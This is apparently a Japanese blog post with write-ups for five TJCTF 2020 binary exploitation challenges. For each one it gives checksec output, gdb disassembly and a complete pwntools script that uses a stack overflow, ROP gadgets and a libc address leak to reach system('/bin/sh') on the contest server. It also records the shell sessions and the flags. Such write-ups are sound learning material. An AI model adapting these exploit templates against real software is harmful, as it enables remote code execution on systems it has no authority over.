kanyewest CTF

勉強したことをメモしています。

TJCTF 2020【Write-up】

Binary

Tinder

$ file 6efe89a92ae7aaf9a68cffe5840f55103ca121be9b8953e6736cf71409a57910_match 
6efe89a92ae7aaf9a68cffe5840f55103ca121be9b8953e6736cf71409a57910_match: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=20dc2329afce6884ca6bdae371f7af93bee637d5, with debug_info, not stripped
$ checksec.sh --file=./6efe89a92ae7aaf9a68cffe5840f55103ca121be9b8953e6736cf71409a57910_match 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   85 Symbols     No       02./6efe89a92ae7aaf9a68cffe5840f55103ca121be9b8953e6736cf71409a57910_match

gdbデバッグをすると

   0x080488cb <+222>:   lea    eax,[ebp-0x80]
   0x080488ce <+225>:   push   eax
   0x080488cf <+226>:   call   0x8048720 <input>
   0x080488d4 <+231>:   add    esp,0x10
   0x080488d7 <+234>:   sub    esp,0xc
   0x080488da <+237>:   push   0xa
   0x080488dc <+239>:   call   0x8048580 <putchar@plt>
   0x080488e1 <+244>:   add    esp,0x10
   0x080488e4 <+247>:   cmp    DWORD PTR [ebp-0xc],0xc0d3d00d
   0x080488eb <+254>:   jne    0x80489a8 <main+443>
   0x080488f1 <+260>:   sub    esp,0x8
   0x080488f4 <+263>:   lea    eax,[ebp-0x30]
   0x080488f7 <+266>:   push   eax
   0x080488f8 <+267>:   lea    eax,[ebx-0x14f4]
   0x080488fe <+273>:   push   eax
   0x080488ff <+274>:   call   0x80484e0 <printf@plt>
   0x08048904 <+279>:   add    esp,0x10
   0x08048907 <+282>:   sub    esp,0xc
   0x0804890a <+285>:   lea    eax,[ebx-0x14c9]
   0x08048910 <+291>:   push   eax
   0x08048911 <+292>:   call   0x8048520 <puts@plt>
   0x08048916 <+297>:   add    esp,0x10
   0x08048919 <+300>:   sub    esp,0xc
   0x0804891c <+303>:   push   0x3
   0x0804891e <+305>:   call   0x8048500 <sleep@plt>
   0x08048923 <+310>:   add    esp,0x10
   0x08048926 <+313>:   sub    esp,0xc
   0x08048929 <+316>:   lea    eax,[ebx-0x14b0]
   0x0804892f <+322>:   push   eax
   0x08048930 <+323>:   call   0x8048520 <puts@plt>
   0x08048935 <+328>:   add    esp,0x10
   0x08048938 <+331>:   sub    esp,0x8
   0x0804893b <+334>:   lea    eax,[ebx-0x14a2]
   0x08048941 <+340>:   push   eax
   0x08048942 <+341>:   lea    eax,[ebx-0x14a0]
   0x08048948 <+347>:   push   eax
   0x08048949 <+348>:   call   0x8048570 <fopen@plt>

ebp-0x80に入力したあとにebp-0xcと0xc0d3d00dを比べて、イコールでないときはmain+443に飛ばされ、イコールのときはそのままfopen関数によってファイルがopenされていることがわかります。

なので

$ p 0x80 - 0xc
$1 = 0x74

より0x74に0xc0d3d00dがくるように書き込むとflagがopenされます。

from pwn import *

e = ELF('./6efe89a92ae7aaf9a68cffe5840f55103ca121be9b8953e6736cf71409a57910_match')
#p = process('./6efe89a92ae7aaf9a68cffe5840f55103ca121be9b8953e6736cf71409a57910_match')
p = remote('p1.tjctf.org',8002)

print p.recvuntil('Name: ')
p.sendline('A')
print p.recvuntil('Username: ')
p.sendline('B')
print p.recvuntil('Password: ')
p.sendline('C')

payload = 'A'*0x74
payload += p32(0xc0d3d00d)

print p.recvuntil('Tinder Bio: ')
p.sendline(payload)

p.interactive()
$ python solve.py 
[+] Opening connection to p1.tjctf.org on port 8002: Done
Welcome to TJTinder, please register to start matching!
Name: 
Username: 
Password: 
Tinder Bio: 
[*] Switching to interactive mode

Registered 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���' to TJTinder successfully!
Searching for matches...
It's a match!
Here is your flag: tjctf{0v3rfl0w_0f_m4tch35}

Seachells

$ file d46850d6dd80f2b1132c9fe908e53f71e1a0a2f712ba193c29056ba1797afb4b_seashells 
d46850d6dd80f2b1132c9fe908e53f71e1a0a2f712ba193c29056ba1797afb4b_seashells: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3621729c49fe5cebe2153c267fbdf4adb70b0eec, not stripped
$ checksec.sh --file=./d46850d6dd80f2b1132c9fe908e53f71e1a0a2f712ba193c29056ba1797afb4b_seashells 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified Fortifiable  FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   68 Symbols     No       01./d46850d6dd80f2b1132c9fe908e53f71e1a0a2f712ba193c29056ba1797afb4b_seashells

簡単に実行した感じ、BOFがあることがわかります。

$ ./d46850d6dd80f2b1132c9fe908e53f71e1a0a2f712ba193c29056ba1797afb4b_seashells 
Welcome to Sally's Seashore Shell Shop
Would you like a shell?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
why are you even here?
Segmentation fault (コアダンプ)

gdbデバッグしてみるとshell関数が用意されているようです。

gdb-peda$ pdisas shell
Dump of assembler code for function shell:
   0x00000000004006c7 <+0>:     push   rbp
   0x00000000004006c8 <+1>:     mov    rbp,rsp
   0x00000000004006cb <+4>:     sub    rsp,0x10
   0x00000000004006cf <+8>:     mov    QWORD PTR [rbp-0x8],rdi
   0x00000000004006d3 <+12>:    movabs rax,0xdeadcafebabebeef
   0x00000000004006dd <+22>:    cmp    QWORD PTR [rbp-0x8],rax
   0x00000000004006e1 <+26>:    jne    0x4006ef <shell+40>
   0x00000000004006e3 <+28>:    lea    rdi,[rip+0x13e]        # 0x400828
   0x00000000004006ea <+35>:    call   0x4005c0 <system@plt>
   0x00000000004006ef <+40>:    nop
   0x00000000004006f0 <+41>:    leave  
   0x00000000004006f1 <+42>:    ret 

デバッグより、shell関数の引数を0xdeadcafebabebeefにして呼び出すことでsystem("/bin/sh")が呼び出されることになります。

from pwn import *

e = ELF('./d46850d6dd80f2b1132c9fe908e53f71e1a0a2f712ba193c29056ba1797afb4b_seashells')
#p = process('./d46850d6dd80f2b1132c9fe908e53f71e1a0a2f712ba193c29056ba1797afb4b_seashells')
p = remote('p1.tjctf.org',8009)

ret_addr = 0x0040057e
pop_rdi_addr = 0x00400803

payload = 'A'*18
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(0xdeadcafebabebeef)
payload += p64(e.symbols['shell'])

p.sendline(payload)
p.interactive()
$ python solve.py 
Welcome to Sally's Seashore Shell Shop
Would you like a shell?
why are you even here?
$ ls
bin
flag.txt
lib
lib64
seashells
$ cat flag.txt
tjctf{she_s3lls_se4_sh3ll5}

OSRS

$ file 7b612244a961b33b4c016a3fc142f9ad035ef6a070ba16f4a962ba2c09f2aaa1_osrs 
7b612244a961b33b4c016a3fc142f9ad035ef6a070ba16f4a962ba2c09f2aaa1_osrs: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d1fe30ddf26ddc33ca441a41efcaa9561d2f16d3, not stripped
$ checksec.sh --file=./7b612244a961b33b4c016a3fc142f9ad035ef6a070ba16f4a962ba2c09f2aaa1_osrs 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified Fortifiable  FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   73 Symbols     No       02./7b612244a961b33b4c016a3fc142f9ad035ef6a070ba16f4a962ba2c09f2aaa1_osrs

NX disabledなのでshellcodeを実行したい気持ちになりますが、BOFがあるので単純にlibcをリークしてsystem("/bin/sh")を実行しました。

from pwn import *

e = ELF('./7b612244a961b33b4c016a3fc142f9ad035ef6a070ba16f4a962ba2c09f2aaa1_osrs')
p = remote('p1.tjctf.org',8006)
libc = ELF('./libc6-i386_2.27-3ubuntu1_amd64.so')

payload = 'A'*272
payload += p32(e.symbols['printf'])
payload += p32(e.symbols['main'])
payload += p32(e.got['printf'])

print p.recvuntil('Enter a tree type: \n')
p.sendline(payload)
print p.recvuntil(':(\n')
ret = u32(p.recvline()[:4])
libc_base_addr = ret - libc.symbols['printf']
system_addr = libc.symbols['system'] + libc_base_addr
binsh_addr = next(libc.search("/bin/sh")) + libc_base_addr
payload = 'A'*272
payload += p32(system_addr)
payload += 'AAAA'
payload += p32(binsh_addr)

p.sendline(payload)
p.interactive()
$ ls
bin
flag.txt
lib
lib32
lib64
osrs
wrapper
$ cat flag.txt
tjctf{tr33_c0de_in_my_she115}

Stop

$ file f70440d55f7950a958f1df9f3fd8299c11c2233667bc2c6f2d1333facae38d4a_stop 
f70440d55f7950a958f1df9f3fd8299c11c2233667bc2c6f2d1333facae38d4a_stop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f153c508057ccdf9a784656bfd40a9d9bc3ddc23, not stripped
$ checksec.sh --file=./f70440d55f7950a958f1df9f3fd8299c11c2233667bc2c6f2d1333facae38d4a_stop 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified Fortifiable  FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   72 Symbols     No       02./f70440d55f7950a958f1df9f3fd8299c11c2233667bc2c6f2d1333facae38d4a_stop

これもBOFがあり、libcをリークしてsystem("/bin/sh")を実行しました。同じパターンが続いたので絶対に想定解じゃないと思います...。

from pwn import *

e = ELF('./f70440d55f7950a958f1df9f3fd8299c11c2233667bc2c6f2d1333facae38d4a_stop')
p = remote('p1.tjctf.org',8001)
libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')
ret_addr = 0x0040056e
pop_rdi_addr = 0x00400953

payload = 'A'*282
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(e.got['printf'])
payload += p64(e.symbols['printf'])
payload += p64(e.symbols['_start'])

print p.recvuntil('Which letter?')
p.sendline(payload)
print p.recvuntil('yet')

ret = u64(p.recv()[1:7] + '\x00\x00')

libc_base_addr = ret - libc.symbols['printf']
system_addr = libc.symbols['system'] + libc_base_addr
binsh_addr = next(libc.search("/bin/sh")) + libc_base_addr

payload = 'A'*282
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.sendline(payload)
p.interactive()

Cookie Library

$ file 015ea92ef6d6f7dfbccb55de56641ce379ce8d030415d2044bac826c90438476_cookie_library 
015ea92ef6d6f7dfbccb55de56641ce379ce8d030415d2044bac826c90438476_cookie_library: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cec2060214d46f6e3c9637bdfe968d15308f149a, not stripped
$ checksec.sh --file=./015ea92ef6d6f7dfbccb55de56641ce379ce8d030415d2044bac826c90438476_cookie_library 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified Fortifiable  FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   71 Symbols     No       02./015ea92ef6d6f7dfbccb55de56641ce379ce8d030415d2044bac826c90438476_cookie_library

これもlibcをリークしてsystem("/bin/sh")を実行しました。

from pwn import *

e = ELF('./015ea92ef6d6f7dfbccb55de56641ce379ce8d030415d2044bac826c90438476_cookie_library')
p = remote('p1.tjctf.org',8010)
libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')

ret_addr = 0x0040061e
pop_rdi_addr = 0x00400933

payload = 'A'*88
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(e.got['printf'])
payload += p64(e.symbols['printf'])
payload += p64(e.symbols['_start'])

print p.recvuntil('tasty?\n')
p.sendline(payload)
print p.recvline()
ret = u64(p.recvline()[:6] + '\x00\x00')

libc_base_addr = ret - libc.symbols['printf']
system_addr = libc.symbols['system'] + libc_base_addr
binsh_addr = next(libc.search("/bin/sh")) + libc_base_addr

payload = 'A'*88
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.sendline(payload)
p.interactive()